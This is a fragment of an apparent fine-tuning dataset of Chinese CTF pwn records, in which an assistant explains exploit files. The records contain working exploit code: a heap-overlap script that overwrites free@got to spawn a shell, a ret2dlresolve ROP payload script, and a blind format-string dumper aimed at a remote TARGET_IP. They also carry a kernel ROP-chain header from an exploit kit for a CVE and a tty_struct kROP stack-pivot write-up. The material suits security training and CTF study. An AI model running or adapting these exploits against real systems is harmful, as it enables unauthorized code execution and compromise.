"split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b7220e145f5aecfe9e32", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `create`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x602018`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pwn import *\n\nr = process('./heapcreator')\nheap = ELF('./heapcreator')\nlibc = ELF('./libc.so.6')\n\n\ndef create(size, content):\n    r.recvuntil(\":\")\n    r.sendline(\"1\")\n    r.recvuntil(\":\")\n    r.sendline(str(size))\n    r.recvuntil(\":\")\n    r.sendline(content)\n\n\ndef edit(idx, content):\n    r.recvuntil(\":\")\n    r.sendline(\"2\")\n    r.recvuntil(\":\")\n    r.sendline(str(idx))\n    r.recvuntil(\":\")\n    r.sendline(content)\n\n\ndef show(idx):\n    r.recvuntil(\":\")\n    r.sendline(\"3\")\n    r.recvuntil(\":\")\n    r.sendline(str(idx))\n\n\ndef delete(idx):\n    r.recvuntil(\":\")\n    r.sendline(\"4\")\n    r.recvuntil(\":\")\n    r.sendline(str(idx))\n\n\nfree_got = 0x602018\ncreate(0x18, \"dada\")  # 0\ncreate(0x10, \"ddaa\")  # 1\n\nedit(0, \"/bin/sh\\x00\" + \"a\" * 0x10 + \"\\x41\")\n\ndelete(1)\n\ncreate(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1\n\nshow(1)\nr.recvuntil(\"Content : \")\ndata = r.recvuntil(\"Done !\")\n\nfree_addr = u64(data.split(\"\\n\")[0].ljust(8, \"\\x00\"))\nlibc_base = free_addr - libc.symbols['free']\nlog.success('libc base addr: ' + hex(libc_base))\nsystem_addr = libc_base + libc.symbols['system']\n#gdb.attach(r)\n# overwrite free@got with system addr\nedit(1, p64(system_addr))\n# trigger system(\"/bin/sh\")\ndelete(0)\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-7037cbc60672e806", "original_line": 5, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py", "split": "train", "split_group_key": "1cae0b47ef03164626fcc5cb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b86c96f9655c1b45d4bb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「kernelXDK」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### kernelXDK\n\nThe source embeds `exploit/lts-6.12.85/target_db.kxdb`, initializes\n`TargetDb`, and registers the two target values used by the physical scan. It\nuses `AutoDetectTarget()` with an explicit fallback and retrieves the values\nthrough `GetSymbolOffset()`. The Makefile compiles the source as C++ against\n`exploit/lts-6.12.85/libxdk-v0.1/` and links `-lkernelXDK`; no ROP-related\nlibxdk API is needed by this data-only chain.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1f0b5cc7a58f75a7", "original_line": 389, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b96ec5aa52129e292ed4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n\n/**\n * @defgroup payloads_classes Payloads Classes\n * @brief Classes for generating and managing payloads.\n */\n\n// Forward declarations for types used in the header if their full definitions\n// are not strictly needed (e.g., if only pointers/references are used),\n// but in this case, the full definitions are likely needed due to value types.\n// struct RopAction; // Already fully defined below\n// class Target; // Already fully defined below\n\n\n/**\n * @ingroup payloads_classes\n * @brief Represents a single ROP (Return-Oriented Programming) action.\n *\n * A RopAction is a sequence of 64-bit values that form part of a ROP chain.\n * These values can represent addresses, immediate data, or arguments for gadgets.\n */\nstruct RopAction {\n    /**\n     * @brief The sequence of 64-bit values comprising this ROP action.\n     */\n    std::vector values;\n};\n\n/**\n * @ingroup payloads_classes\n * @class RopChain\n * @brief Manages an ordered sequence of ROP actions to form a ROP chain.\n *\n * The RopChain class allows for the construction of complex ROP chains\n * by adding individual ROP actions or raw 64-bit values. It handles\n * KASLR (Kernel Address Space Layout Randomization) offsets and\n * argument substitution for actions defined by a Target.\n */\nclass RopChain {\npublic:\n    /**\n     * @brief Constructs a new RopChain.\n     * @param target A reference to the Target object which provides definitions for ROP actions.\n     * @param kaslr_base The base address for KASLR, used to adjust symbol addresses.\n     */\n    RopChain(Target &target, uint64_t kaslr_base);\n\n    /**\n     * @brief Adds a predefined ROP action to the chain.\n     *\n     * This method retrieves the sequence of ROP items for a given action ID\n     * from the associated Target and constructs a RopAction, substituting\n     * arguments and applying KASLR offsets where necessary.\n     *\n     * @param id The ID of the ROP action to add.\n     * @param arguments A vector of 64-bit arguments to substitute into the action.\n     * The index of an argument in this vector corresponds to its\n     * `item.value` when `item.type == RopItemType::ARGUMENT`.\n     * @throw ExpKitError If an unexpected RopAction item type is encountered or\n     * if there are not enough arguments provided for an action.\n     */\n    void AddRopAction(RopActionId id, std::vector arguments = {});\n\n    /**\n     * @brief Adds a raw 64-bit item directly to the ROP chain as a single-value action.\n     *\n     * This is useful for adding arbitrary values (e.g., stack pivots, return addresses,\n     * or immediate values) that are not part of a predefined RopAction.\n     *\n     * @param item The 64-bit value to add.\n     * @param offset If true, the `kaslr_base_` will be added to the item.\n     * Defaults to false.\n     */\n    void Add(uint64_t item, bool offset = false);\n\n    /**\n     * @brief Retrieves the entire ROP chain as a vector of bytes.\n     *\n     * The 64-bit items in the chain are converted to a contiguous byte array.\n     * This is useful for writing the ROP chain directly to memory or a file.\n     *\n     * @return A `std::vector` representing the ROP chain in byte format.\n     */\n    std::vector GetData() const;\n\n    /**\n     * @brief Retrieves the entire ROP chain as a vector of 64-bit words.\n     *\n     * This method collects all individual 64-bit values from the sequence of\n     * RopActions into a single flat vector.\n     *\n     * @return A `std::vector` representing the ROP chain as 64-bit words.\n     */\n    std::vector GetDataWords() const;\n\n    /**\n     * @brief Calculates the total size of the ROP chain in bytes.\n     * @return The total size of the ROP chain in bytes.\n     */\n    uint64_t GetByteSize() const;\n\n    /**\n     * @brief Retrieves the list of individual RopAction objects that compose this chain.\n     * @return A `std::vector` containing all added ROP actions.\n     */\n    std::vector GetActions() const;\n\n    /**\n     * @brief The KASLR base address used for symbol offsetting.\n     */\n    uint64_t kaslr_base_;\n\n    /**\n     * @brief Stores the ordered sequence of ROP actions.\n     */\n    std::vector actions_;\n\nprivate:\n    /**\n     * @brief A reference to the Target object, providing definitions for ROP actions.\n     */\n    Target& target_;\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-2298371985e1b645", "original_line": 301, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h", "split": "train", "split_group_key": "e8990530ece30bb0a00463b6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b978ff2d44a68598a97f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「通过tty_struct自身进行kROP实现RIP劫持」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 通过tty_struct自身进行kROP实现RIP劫持\n\n这是本文档的主要部分，也是理解这个结构体对漏洞利用如此珍贵的地方。\n\n假设你对`tty_struct`至少有0x200字节的顺序写原语。基本上，你可以通过覆盖`tty_struct.ops`来获得RIP控制。但要注意，不要破坏`tty_struct.magic`，否则`tty_ioctl()`会在跳转到`tty_struct.ops`之前直接返回。另外，仅仅跳转到任意地址在很多情况下不足以控制RIP，这是由于KPTI机制。如果启用了KPTI，你无法执行用户land的自己的程序。你可能需要进行栈迁移。而这个结构体非常适合做栈迁移。\n\n你需要做的是在堆上准备ROP链，然后执行栈迁移。但是内核镜像中可能不存在`mov rsp, <任意值>`这样有用的gadget。所以我们需要在实际ROP之前进行一次\"预ROP\"！而这次预ROP只能在`tty_struct`内部完成！\n\n下面，假设我们拥有对`tty_struct`前0x200字节的顺序写原语。首先，你需要写入QWORD值0x5401来绕过`tty_ioctl()`中的安全检查。然后，在`ops`位置（`tty_struct+0x18`）写入一个fake vtable的地址，该vtable包含你想要执行的gadget地址。你可以把这个vtable写在`tty_struct`自身内部，比如在`+0x50`处。据我所知，`tty_struct`是一个健壮的结构体，即使破坏其中的某些数据也不会导致内核oops。所以你可以在`tty_struct`中任意写入数据而不会有问题。唯一的例外是`magic`必须是0x5401，且`driver`必须是有效的堆地址。但这两者都可以绕过（后者下面会说明）。\n\n`tty_ioctl()`会跳转到你在fake vtable的`+0x50`处写入的gadget地址。这种情况下最好的gadget是`leave`。这是因为在跳转之后RBP正好指向`tty_struct`自身。所以`leave`会执行`mov rsp, rbp`和`pop rbp`，使得RSP指向`tty_struct`的顶部，并使RBP变成`magic|kref`。执行`leave`后，由于RSP现在指向`tty_struct`，返回地址就变成了这个gadget的返回地址。所以你可以在`dev`位置（`+0x08`）写入gadget的地址作为返回地址。这样，`leave`返回后会pop `dev`的值作为RSP。你可以在`driver`位置（`+0x10`）写入新的栈地址，并在`+0x170`处写入实际的ROP链。注意，`driver`必须是有效的堆地址才能避免内核oops，但你可以通过双阶段ROP启动来绕过这个限制！\n\n```\nstruct tty_struct {\n  +000: magic, kref : 0x5401\n  +008: dev;        : `pop rsp` gadget (leave的返回地址)\n  +010: driver;     : &tty_struct + 0x170 (被`pop rsp`使用) (必须是有效的内核堆地址)\n  +018: ops;        : &tty_struct + 0x50\n  +020: index;\n  ...\n  +050:             : fake vtable (size=0x120) (指向`leave` gadget)\n  ...\n  +170:             : 实际ROP链\n  ...\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1dccfc9c637cabbe", "original_line": 400, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b987fbd9dabeb25e6721", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x112`, `0x800`, `0x18540`, `0x774C5`, `0x8fa05`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x08049f54`, `0x08049f5c`, `0x08049f94`, `0x0804a040`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nfrom pwn import *\nelf = ELF('bof')\n\noffset = 112\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\n\nppp_ret = 0x08048619 # ROPgadget --binary bof --only \"pop|ret\"\npop_ebp_ret = 0x0804861b\nleave_ret = 0x08048458 # ROPgadget --binary bof --only \"leave|ret\"\n\nstack_size = 0x800\nbss_addr = 0x0804a040 # readelf -S bof | grep \".bss\"\nbase_stage = bss_addr + stack_size\n\n#x/100xw  GOT[4]\nfake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x774C5\nval_0x34=0x08049f54\nval_0x38=0x08049f5c\nval_0x7c=0x08049f94\nwait_time=0.1\n\nr = process('bof')\n\n\nr.recvuntil('Welcome to XDCTF2015~!\\n')\npayload = 'A' * offset\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(fake_link_map+0x34)\npayload += p32(8)\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(fake_link_map+0x7c)\npayload += p32(4)\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(base_stage)\npayload += p32(100)\npayload += p32(pop_ebp_ret)\npayload += p32(base_stage)\npayload += p32(leave_ret)\n#print 'length of payload=',hex(len(payload))\n#raw_input('wait')\nr.sendline(payload)\n\nsleep(wait_time)\nr.send(p32(val_0x34)+p32(val_0x38))\nsleep(wait_time)\nr.send(p32(val_0x7c))\nsleep(wait_time)\n\ngdb.attach(r,'b *0x08048458')\nplt_0 = 0x08048380 # objdump -d -j .plt bof\nplt_1=plt_0+6\nrel_plt = 0x08048330 # objdump -s -j .rel.plt bof\nindex_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移\nwrite_got = elf.got['write']\ndynsym = 0x080481d8 #readelf -S bof\ndynstr = 0x08048278\nfake_sym_addr = base_stage + 36\nalign = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 0x10\nr_info = (index_dynsym << 8) | 0x7\nfake_reloc = p32(write_got) + p32(r_info)\n#fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\nfake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)\n\n\npayload2 = 'AAAA'\npayload2 += p32(plt_1)\npayload2 += p32(fake_link_map)\npayload2 += p32(index_offset)\npayload2 += 'AAAA'   #ret_addr 返回地址\npayload2 += p32(base_stage + 80)\n#payload2 += 'aaaa'\npayload2 += 'aaaa'\npayload2 += fake_reloc # (base_stage+28)的位置\npayload2 += 'B' * align\npayload2 += fake_sym # (base_stage+36)的位置\npayload2 += 'A' * (100 - len(payload2))\nraw_input('wait!!!')\nr.sendline(payload2)\nr.interactive()\n\n#目标：0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x18540'\n#fake_st_value=0x8fa05-0x18540=0x774C5\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-fcdcb68bc18b1bda", "original_line": 531, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py", "split": "train", "split_group_key": "e392852d7abf7cb585f3047a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b9d33f85765f305c762c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「leak heap」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# leak heap\nadd(1,0x50)\ndele()\nshow()\nru(\"the data\")\nr(1)\nheap_addr = 0\nfor i in range(5):\n    val = u8(r(1))\n    heap_addr += (val ^ (0x99+i)) * 0x100**i\nheap_addr = heap_addr * 0x1000", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-240f8cd67e666d7b", "original_line": 130, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ba05d84c9df69b55047d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/xhlj2021-easykernel/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/xhlj2021-easykernel/start.sh`\n\n分类：kernel\n\n语言：bash\n\n训练用代码片段：\n```bash\n#!/bin/bash\nqemu-system-x86_64  \\\n    -m 128M \\\n    -cpu kvm64,+smep \\\n    -kernel ./bzImage \\\n    -initrd ./rootfs.cpio \\\n    -nographic \\\n    -s \\\n    -append \"console=ttyS0 kaslr root=/dev/ram0 init=/init debug loglevel=8\"\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-92854c638ffc742d", "original_line": 331, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/xhlj2021-easykernel/start.sh", "split": "train", "split_group_key": "99654c91be078b4ae8cdfbf7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/xhlj2021-easykernel/start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ba11bf458d0fff0802da", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/blind/dump.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/blind/dump.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `import time`\n- `from pwn import *`\n- `import binascii`\n\n函数/封装：\n- `leak`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x400000`, `0x8048000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport time\nfrom pwn import *\nimport binascii\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nio = remote(\"TARGET_IP\",9999)\ncontext.log_level=\"debug\"\n\narch=True\nbegin=0x400000\nbin = b\"\"\n\nif arch:\n    context.arch = \"amd64\"\n    begin=0x400000\nelse:\n    context.arch = \"i386\"\n    begin=0x8048000\nbin = b\"\"\npad = b\"blind fmt\\n\"\n\ndef leak(addr):\n    payload = b\"%7$sdump\"\n    if arch:\n        payload+=p64(addr)\n    else:\n        payload+=p32(addr)\n    r()\n    sl(payload)\n    print(\"leaking:\", hex(addr))\n    data=ru(b\"dump\",drop=True)\n    return data\n\ntry:\n    while True:\n        data = leak(begin)\n        begin += len(data)\n        bin += data\n        if len(data)==0:\n            begin+=1\n            bin += b\"\\x00\"\nexcept:\n    print(\"finish\")\nfinally:\n    print(\"[+]\",len(bin))\n    with open(\"dump_bin\",\"wb\") as f:\n        f.write(bin)\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-7178b5b6d42d0268", "original_line": 457, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/blind/dump.py", "split": "train", "split_group_key": "b3574727f0fc53692be7819f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/blind/dump.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ba63af74fbae659000f0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「UAF」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### UAF\n\nUse After Free 指的就是释放后使用：当一个指针所指向的指针块被释放掉之后可以再次被使用，但是这是有要求的。\n\n当一个内存被释放后重新使用有如下几种情况：\n\n+ `chunk`被释放之后，其对应的指针被设置为`NULL`，如果再次使用它，程序就会崩溃。\n+ `chunk`被释放之后，其对应的指针未被设置为`NULL`，如果在下一次使用之前没有代码对这块内存进行修改，那么再次使用这个指针时程序很有可能正常运转。\n+ 内存块被释放后，其对应的指针没有被设置为`NULL`，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。\n\n在堆中 Use After Free 一般指的是后两种漏洞，我们一般称被释放后没有被设置为`NULL`的内存指针为**dangling pointer（悬空指针、悬垂指针）**\n\n未被初始化过的内存指针称为野指针\n\n+ 示例\n\n```c\n#include \n\nint main(){\n    char *p1;\n    p1=(char *)malloc(sizeof(char)*0x10);\n    memcpy(p1,\"hello\",10);\n    printf(\"p1 addr:%x,%s\\n\",p1,p1);\n    free(p1);\n    char *p2;\n    p2=(char*)malloc(sizeof(char)*0x10);\n    memcpy(p2,\"world\",0x10);\n    printf(\"p2 addr:%x,%s\\n\",p2,p1);\n    return 0;\n}\n```\n\n如上代码，指针`p1`申请`0x10`内存，打印其地址，值。\n\n然后释放`p1`\n\n指针`p2`申请同样大小的内存，打印`p2`的地址，`p1`指针指向的值\n\n`p1`与`p2`地址相同，`p1`指针释放后，`p2`申请相同的大小的内存，操作系统会将之前给`p1`的地址分配给`p2`，修改`p2`的值，`p1`也被修改了。\n\n由此我们可以知道：\n\n1. 在`free`一块内存后，接着申请大小相同的一块内存，操作系统会将刚刚free掉的内存再次分配，根本原因是`dlmalloc`\n\n当应用程序调用`free()`释放内存时，如果内存块小于`256kb`，`dlmalloc`并不马上将内存块释放回内存，而是将内存块标记为空闲状态。这么做的原因有两个：一是内存块不一定能马上释放回内核（比如内存块不是位于堆顶端），二是供应用程序下次申请内存使用（这是主要原因）。当`dlmalloc`中空闲内存量达到一定值时`dlmalloc`才将空闲内存释放回内核。如果应用程序申请的内存大于`256kb`，`dlmalloc`调用`mmap()`向内核申请一块内存，返回返还给应用程序使用。如果应用程序释放的内存大于`256kb`，`dlmalloc`马上调用`munmap()`释放内存。`dlmalloc`不会缓存大于`256kb`的内存块，因为这样的内存块太大了，最好不要长期占用这么大的内存资源。\n\n2. 通过`p2`能够操作`p1`，如果之后`p1`继续被使用（use after free），则可以达到通过`p2`修改程序功能等目的。\n\n常见利用：\n\n+ 存在show的时候，可以考虑使用 unsorted bin配合 uaf 输出main_arena的地址，计算libc\n+ 存在edit的时候，可以考虑使用大部分攻击手法\n+ 无edit的时候，考虑double free\n\n纯粹的uaf漏洞并无法进行攻击。\n\n+ off-by-one\n\n特殊的堆溢出漏洞，一字节溢出\n\n+ off-by-null\n\noff-by-null的利用比较苛刻，一般仅能选择使用 small bin的合并进行overlap。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6fd6e4853840252b", "original_line": 87, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
